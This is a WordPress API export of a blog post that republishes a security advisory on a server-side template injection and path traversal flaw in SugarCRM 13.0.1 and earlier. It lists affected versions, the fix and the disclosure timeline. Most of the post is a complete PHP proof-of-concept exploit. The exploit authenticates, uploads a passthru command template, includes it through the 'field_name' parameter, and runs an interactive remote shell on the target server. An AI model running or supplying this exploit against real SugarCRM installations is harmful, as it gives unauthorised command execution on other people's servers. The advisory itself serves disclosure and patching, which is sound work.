{"id":50656,"date":"2023-10-27T17:12:45","date_gmt":"2023-10-27T14:12:45","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/175382\/KIS-2023-10.txt"},"modified":"2023-10-31T08:55:09","modified_gmt":"2023-10-31T05:25:09","slug":"sugarcrm-13-0-1-server-side-template-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sugarcrm-13-0-1-server-side-template-injection\/","title":{"rendered":"SugarCRM 13.0.1 Server-Side Template Injection"},"content":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\nSugarCRM &lt;= 13.0.1 (GetControl) Server-Side Template Injection<br \/>\nVulnerability<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n[-] Software Link:<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"T1IYL4Bbdy\"><p><a href=\"https:\/\/www.sugarcrm.com\/\" target=\"_blank\" rel=\"noopener\">Home<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Home&#8221; &#8212; SugarCRM\" src=\"https:\/\/www.sugarcrm.com\/embed\/#?secret=qqst2Rscc0#?secret=T1IYL4Bbdy\" data-secret=\"T1IYL4Bbdy\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n[-] Affected Versions:<\/p>\n<p>Version 13.0.1 and prior versions.<br \/>\nVersion 12.0.3 and prior versions.<\/p>\n[-] Vulnerability Description:<\/p>\n<p>There is a sort of Server-Side Template Injection (SSTI) vulnerability<br \/>\naffecting<br \/>\nthe &#8220;GetControl&#8221; action from the &#8220;Import&#8221; module. User input passed<br \/>\nthrough the<br \/>\n&#8220;field_name&#8221; parameter is not properly sanitized before being used to<br \/>\nconstruct<br \/>\nthe path of the template to include. As such, this can be abused to<br \/>\ninclude and<br \/>\nexecute arbitrary PHP code through Path Traversal attacks.<\/p>\n[-] Proof of Concept:<\/p>\n<p>https:\/\/karmainsecurity.com\/pocs\/KIS-2023-10.php<\/p>\n<p>(Packet Storm note: POC included at bottom)<\/p>\n[-] Solution:<\/p>\n<p>Upgrade to version 13.0.2, 12.0.4, or later.<\/p>\n[-] Disclosure Timeline:<\/p>\n[23\/04\/2023] &#8211; Vendor notified<br \/>\n[21\/09\/2023] &#8211; Fixed versions released<br \/>\n[06\/10\/2023] &#8211; CVE identifier requested<br \/>\n[26\/10\/2023] &#8211; Publication of this advisory<\/p>\n[-] CVE Reference:<\/p>\n<p>The Common Vulnerabilities and Exposures project (cve.mitre.org)<br \/>\nhas not assigned a CVE identifier for this vulnerability.<\/p>\n[-] Credits:<\/p>\n<p>Vulnerability discovered by Egidio Romano.<\/p>\n[-] Original Advisory:<\/p>\n<p>https:\/\/karmainsecurity.com\/KIS-2023-10<\/p>\n[-] Other References:<\/p>\n<p>https:\/\/support.sugarcrm.com\/resources\/security\/sugarcrm-sa-2023-010\/<\/p>\n<p>&#8212; KIS-2023-10.php poc &#8212;<\/p>\n<p>&lt;?php<\/p>\n<p>set_time_limit(0);<br \/>\nerror_reporting(E_ERROR);<\/p>\n<p>if (!extension_loaded(&#8220;curl&#8221;)) die(&#8220;[+] cURL extension required!\\n&#8221;);<\/p>\n<p>if ($argc != 4) die(&#8220;Usage: php $argv[0] &lt;URL&gt; &lt;username&gt; &lt;password&gt;\\n&#8221;);<\/p>\n<p>list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];<\/p>\n<p>print &#8220;[+] Logging in with username &#8216;{$user}&#8217; and password &#8216;{$pass}&#8217;\\n&#8221;;<\/p>\n<p>$ch = curl_init();<\/p>\n<p>$params = [&#8220;username&#8221; =&gt; $user, &#8220;password&#8221; =&gt; $pass, &#8220;grant_type&#8221; =&gt; &#8220;password&#8221;, &#8220;client_id&#8221; =&gt; &#8220;sugar&#8221;];<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}rest\/v10\/oauth2\/token&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;Content-Type: application\/json&#8221;]);<br \/>\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<\/p>\n<p>if (($token = (json_decode(curl_exec($ch)))-&gt;access_token) == null) die(&#8220;[+] Login failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Creating new Notes bean\\n&#8221;;<\/p>\n<p>$note_id = time().&#8221;.tpl&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}rest\/v10\/Notes&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;Content-Type: application\/json&#8221;, &#8220;OAuth-Token: {$token}&#8221;]);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([&#8220;id&#8221; =&gt; $note_id]));<\/p>\n<p>if (!preg_match(&#8216;\/&#8221;id&#8221;:&#8221;&#8216;.$note_id.'&#8221;\/&#8217;, curl_exec($ch))) die(&#8220;[+] Bean creation failed!\\n&#8221;);<\/p>\n<p>require_once(&#8220;.\/lib\/nusoap.php&#8221;);<br \/>\n$client = new nusoap_client(&#8220;{$url}soap.php&#8221;, false);<\/p>\n<p>if (($err = $client-&gt;getError()))<br \/>\n{<br \/>\necho &#8220;\\nConstructor error: $err&#8221;;<br \/>\necho &#8220;\\nDebug: &#8221; . $client-&gt;getDebug() . &#8220;\\n&#8221;;<br \/>\ndie();<br \/>\n}<\/p>\n<p>print &#8220;[+] Sending SOAP login request\\n&#8221;;<\/p>\n<p>$params = [&#8220;user_auth&#8221; =&gt; [&#8220;user_name&#8221; =&gt; $user, &#8220;password&#8221; =&gt; $pass]];<br \/>\n$session = $client-&gt;call(&#8216;login&#8217;, $params);<\/p>\n<p>if ($session[&#8216;id&#8217;] == -1) die(&#8220;[+] SOAP login failed!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Uploading template through &#8216;set_note_attachment&#8217;\\n&#8221;;<\/p>\n<p>$params = [&#8220;session&#8221; =&gt; $session[&#8216;id&#8217;], &#8220;note&#8221; =&gt; [&#8220;id&#8221; =&gt; $note_id, &#8220;file&#8221; =&gt; base64_encode(&#8220;{php}passthru(\\$_SERVER[&#8216;HTTP_CMD&#8217;]);{\/php}&#8221;)]];<\/p>\n<p>$result = $client-&gt;call(&#8220;set_note_attachment&#8221;, $params);<\/p>\n<p>print &#8220;[+] Getting PHPSESSID through BWC login\\n&#8221;;<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}rest\/v10\/oauth2\/bwc\/login&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([]));<br \/>\ncurl_setopt($ch, CURLOPT_HEADER, true);<\/p>\n<p>if (!preg_match(&#8220;\/PHPSESSID=([^;]+);\/&#8221;, curl_exec($ch), $sid)) die(&#8220;[-] Session ID not found!\\n&#8221;);<\/p>\n<p>print &#8220;[+] Launching shell\\n&#8221;;<\/p>\n<p>$note_id = substr($note_id, 0, -4);<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}index.php?module=Import&amp;action=GetControl&amp;import_module=Bugs&amp;field_name=\/test&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;Cookie: PHPSESSID={$sid[1]}&#8221;]);<br \/>\ncurl_setopt($ch, CURLOPT_POST, false);<br \/>\ncurl_setopt($ch, CURLOPT_HEADER, false);<\/p>\n<p>curl_exec($ch);<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$url}index.php?module=Import&amp;action=GetControl&amp;import_module=Bugs&amp;field_name=\/..\/..\/..\/..\/upload\/{$note_id}&#8221;);<\/p>\n<p>while(1)<br \/>\n{<br \/>\nprint &#8220;\\nsugar-shell# &#8220;;<br \/>\nif (($cmd = trim(fgets(STDIN))) == &#8220;exit&#8221;) break;<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;CMD: &#8220;.$cmd, &#8220;Cookie: PHPSESSID={$sid[1]}&#8221;]);<br \/>\n($r = curl_exec($ch)) ? print $r : die(&#8220;\\n[+] Exploit failed!\\n&#8221;);<br \/>\n}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- SugarCRM &lt;= 13.0.1 (GetControl) Server-Side Template Injection Vulnerability &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- [-] Software Link: Home [-] Affected Versions: Version 13.0.1 and prior versions. Version 12.0.3 and prior versions. [-] Vulnerability Description: There is a sort of Server-Side Template Injection (SSTI) vulnerability affecting the &#8220;GetControl&#8221; action from the &#8220;Import&#8221; module. User input passed through the &#8220;field_name&#8221; parameter &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-50656","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50656","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=50656"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50656\/revisions"}],"predecessor-version":[{"id":50762,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50656\/revisions\/50762"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=50656"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=50656"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=50656"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}